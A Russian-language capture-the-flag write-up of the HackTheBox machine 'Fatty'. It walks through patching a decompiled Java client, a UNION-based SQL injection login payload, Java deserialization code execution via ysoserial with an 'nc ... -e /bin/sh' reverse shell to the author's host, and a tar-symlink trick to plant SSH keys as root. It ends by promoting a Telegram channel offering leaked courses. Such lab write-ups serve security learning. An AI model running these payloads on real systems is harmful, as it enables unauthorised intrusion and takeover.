Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье реверсим два Java приложения, при этом изменяем и рекомпилируем клиент, для эксплуатации SQL инъекции при авторизации и выполнения команд на сервере благодаря уязвимости в десериализации Java объекта.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.174, который я добавляю в /etc/hosts.
10.10.10.174 fatty.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A fatty.htb -p21,22,1337,1338,1339
По скану nmap видим, что возможен анонимный вход на ftp, при этом там содержится несколько заметок и jar файл. Скачаем все, что там есть.
wget ftp://fatty.htb/*
В первой заметке говорится, что сервер работает на портах 1337, 1338 и 1339, а также, что в клиенте остался порт 8000 и его нужно исправить.
Во второй заметке сказано про статическую компоновку элементов на форме клиента, а также, что клиент работает с Java 8.
В третьей заметке сказано, что имеются проблемы с безопасностью и предоставлены учетные данные.
Давайте запустим клиент.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar
Давайте декомпилируем клиент. Я пользуюсь Intellij IDEA, поэтому установил для него расширение java decompiler. Просто разархивируем jar файл и укажем директорию, как директорию проекта. В файле beans.xml находим параметры подключения.
Давайте прокинем прокинем локальный порт 8000 на удаленный 1337.
simpleproxy -L 8000 -R fatty.htb:1337
При этом внесем запись в /etc/hosts.
127.0.0.1 server.fatty.htb
Таким образом, весь трафик клиента будет перенаправлен на удаленный хост. Запускаемся и авторизуемся.
Давайте осмотримся в приложении. Из всего, что есть, следует остановиться на функции получения списка файлов и чтении файлов.
Но при попытке прочитать еще какие-нибудь файлы, получаем ошибки.
Вопрос только, где стоит фильтр. Предвкушая, что нужно будет патчить код, декомпилируем приложение в jd-gui и сохраняем.
Разархивировав, открываем папку как проект в Intellij IDEA.
Java Recompile
Будем рекомпилировать приложение (данные способ работает и для обфусцированных приложений). Теперь давайте выполним настройку среды. Перейдем в File->Project Structure и Project Settings выставим следующие настройки: версию SDK — java8 и директорию, куда будут сохраняться компилированные файлы.
Далее переходим в Project Modules и в Sources выбираем интересные нам директории, где содержится основной код.
А в Dependencies добавим сам jar файл приложения.
Как можно заметить пропала единичка рядом с пунктом Problems. Идем дальше. В Run/Debug Configurations добавим Application.
И укажем в качестве Main class класс Starter, так как с него начинается выполнение программы.
Все готово. Теперь переходим к классу Invoke и ставим точку останова в функции вывода списка файлов, чтобы изменить директорию.
Теперь запускаем отладку останавливаемся в данной точке.
И меняем значение переменной folder.
И это сработало. Мы видим список файлов. Давайте узнаем, что в файле start.sh. Для этого найдем функцию чтения файла и поставим в ней точку останова.
В приложении откроем этот файл и остановимся на данной точке.
И изменим значение переменной foldername.
И успешно читаем данный файл.
Таким образом, данное приложение работает от имени системного пользовательского qtc. Для того, чтобы получить приложение, нужно изменить код. Добавим функцию записи в файл, получим ответ в байтах, закодируем в base64 и передадим данную строку в эту функцию.
Запросим файл через приложение, остановимся в точке останова и изменим путь.
И файл успешно сохранен.
cat srv.b64 | base64 -d > fatty-server.jar
Server pwning
Открываем серверное приложение в jd-gui. Немного посмотрев код, собираем очень полезную информацию. Например, данные подключения к базе данных.
А также запрос к базе данных при авторизации.
Таким образом, для приложения создается пользователь, на основе данных, который будут возвращены из базы.
Таким образом, мы можем сделать такой запрос, чтобы был создан известный нам qtc, но уже с правами администратора. Мы знаем его логин и пароль, но из базы нужно будет вернуть хеш. Давайте его рассчитаем:
Нам нужно выполним запрос подобного рода:
SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'
Для этого при отладке приложения остановимся в функции логина.
И изменим переменную username.
qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin
После удачной авторизации посмотрим свои права, мы работаем как администратор.
Для того, чтобы ничего больше не менять при отладке, а постоянно получать административный доступ, даже с пустыми полями, изменим функцию login.
Теперь, когда мы разобрались с повышением своих прав, давайте посмотрим новые доступные функции и определимся с дальнейшим вектором атаки. И в коде сервера цепляемся за использование сериализации в функции смены пароля.
Давайте найдем эту функцию в клиентском приложении.
Таким образом, объект User сериализуется, кодируется в base64 и передается серверу, где он декодируется и десериализуется. Так как название функции затемнено, то она нигде не используется. В этом можно убедиться, если попытаться сменить пароль.
Поставим точку останова внутри функции смены пароля, перед добавлением сериализованного объекта в качестве аргумента.
Найдем код, который выполняется при нажатии на кнопку Change.
Давайте допишем вызов функции.
Чтобы эксплуатировать уязвимость в десериализации данных, можно использовать ysoserial. Сперва определим модуль.
grep -R Invoke .
Таким образом будем использовать CommonsCollections.
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0
И полученную нагрузку вставим в измененный код функции смены пароля.
После выполнения приложения, получаем бэкконнект.
ROOT
Загружаем один из скриптов перечисления системы, к примеру linpeas. Ничего интересного, кроме того, что мы находимся в докер контейнере, не находим.
Так как ничего статического не нашли, давайте запустим pspy и отследим запускающиеся процессы. Но подождав немного времени, ничего интересного не произошло. Тогда я инициировал процесс, запустив клиентское приложение и закрыв его. После закрытия приложения была выполнена команда scp.
Таким образом, копируется архив с логами. Могу предположить, что еще и распаковывается. Давайте вместе логов, загрузим создадим и упакуем ссылку на файл с ключами ssh.
Проверим архив.
Отлично. Теперь откроем приложение, авторизуемся, подменим логи и закроем приложение.
mv my.tar /opt/fatty/tar/logs.tar
Теперь если повторить подобное, то содержимое файла будет записано в authorized_keys. Поэтому генерируем с помощью ssh-keygen пару ключей, вновь проворачиваем трюк с приложением и пишем публичный вместо архива.
Теперь можем подключиться по SSH с приватным ключом.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов